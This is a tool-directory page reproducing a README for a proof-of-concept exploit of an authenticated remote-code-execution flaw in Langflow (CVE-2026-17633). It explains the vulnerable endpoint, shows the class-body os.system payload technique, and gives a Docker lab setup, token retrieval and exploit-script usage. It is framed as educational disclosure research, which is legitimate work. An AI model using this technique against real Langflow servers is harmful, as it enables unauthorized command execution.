Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
langflow-CVE-2026-17633-PoC — PoC for CVE-2026-17633 — Authenticated RCE in IBM Langflow OSS 1.0.0–1.10.3 via custom_component endpoint. Includes CVE-2026-17632 AST scanner bypass research. | Kitploit
Tools/GitHubGitHub/oscar-collado/langflow-cve-2026-17633-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHuboscar-collado/langflow-cve-2026-17633-poc

langflow-CVE-2026-17633-PoC

PoC for CVE-2026-17633 — Authenticated RCE in IBM Langflow OSS 1.0.0–1.10.3 via custom_component endpoint. Includes CVE-2026-17632 AST scanner bypass research.

View Repository
111821 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-17633 & CVE-2026-17632 — IBM Langflow OSS RCE

For educational purposes only. Only use against systems you own or have explicit written authorization to test.


1. Introduction

What is Langflow

Langflow is an open-source low-code platform for building LLM-powered applications and AI agent workflows. It provides a visual drag-and-drop interface where users can connect components — models, retrievers, tools, memory, custom Python code — into executable flows. Its Custom Component feature allows users to define component behavior directly in Python, which is the attack surface exploited in this research.

IBM Security Bulletin — August 2026 Batch

On August 5, 2026, IBM published a Security Bulletin disclosing a batch of vulnerabilities affecting Langflow OSS versions 1.0.0 through 1.10.3. The full bulletin is available at:

https://www.ibm.com/support/pages/node/7282646

This research focuses on two CVEs from that batch:

CVECVSSSummary
CVE-2026-176338.5 HIGHAuthenticated RCE via /api/v1/custom_component — code passed directly to exec() with no security scanning
CVE-2026-176328.8 HIGHAST security scanner bypass — crafted Python code passes scan_code_security() with is_safe: True while executing arbitrary OS commands

Both CVEs were independently discovered through static source code analysis of Langflow 1.10.3.

Scope of this Research

  • Primary PoC: CVE-2026-17633 — demonstrated end-to-end with a working exploit script
  • Research Finding: CVE-2026-17632 — AST scanner bypass confirmed locally; delivery via LLM has practical limitations documented in Section 5
  • Lab environment: Langflow OSS 1.10.3 running in Docker on Kali Linux

Disclaimer

This research was conducted in an isolated lab environment against a self-hosted Langflow instance. All findings are disclosed responsibly. Do not use this against systems without explicit written authorization.


2. CVE-2026-17633 — Technical Analysis

Vulnerability Description

The POST /api/v1/custom_component endpoint in Langflow OSS 1.0.0–1.10.3 accepts arbitrary Python code from an authenticated user and executes it server-side via Python's exec() function. Unlike the Agentic Assistant path, this endpoint does not call scan_code_security() or any other AST-based content validator before execution. Any authenticated user can achieve Remote Code Execution with a single HTTP request.

CWE-94 — Improper Control of Generation of Code

The /api/v1/custom_component Endpoint

Source: langflow/api/v1/endpoints.py — line 1271

@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

When LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (common in production deployments), the code goes directly to build_custom_component_template() with zero content inspection.

Why It's Vulnerable — prepare_global_scope() and ast.Expr

The execution chain leads to create_class() in lfx/custom/validate.py, which calls prepare_global_scope() before compiling and executing the class:

def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

A bare function call at module level (e.g. os.system(...)) is an ast.Expr node — it is not matched by the isinstance check and is silently discarded. However, code placed inside the class body is part of the ClassDef node and is executed in full when the class is defined via exec() inside compile_class_code().

This is the key insight: the payload must be inside the class body, not at module level.

# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

Exploitation Chain

Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

No LLM required. No scanner bypass needed. Single HTTP request.


3. Lab Setup

Prerequisites

RequirementValue
Host OSKali Linux (tested)
DockerCE 5.x + Compose plugin v2
Langflow imagelangflowai/langflow:1.10.3
RAM4 GB minimum for the container

Docker Compose Configuration

Create a directory for the lab and save the following as docker-compose.yml:

services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

Start the lab:

docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

Getting a Valid Token

Log in to http://127.0.0.1:7860 with the superuser credentials defined above. The access token is stored in the browser cookie access_token_lf. Alternatively, retrieve it via the API:

curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

Copy the access_token value from the response.


4. Running the PoC

Usage

python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

Basic Execution

python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

Expected output:

Download Tool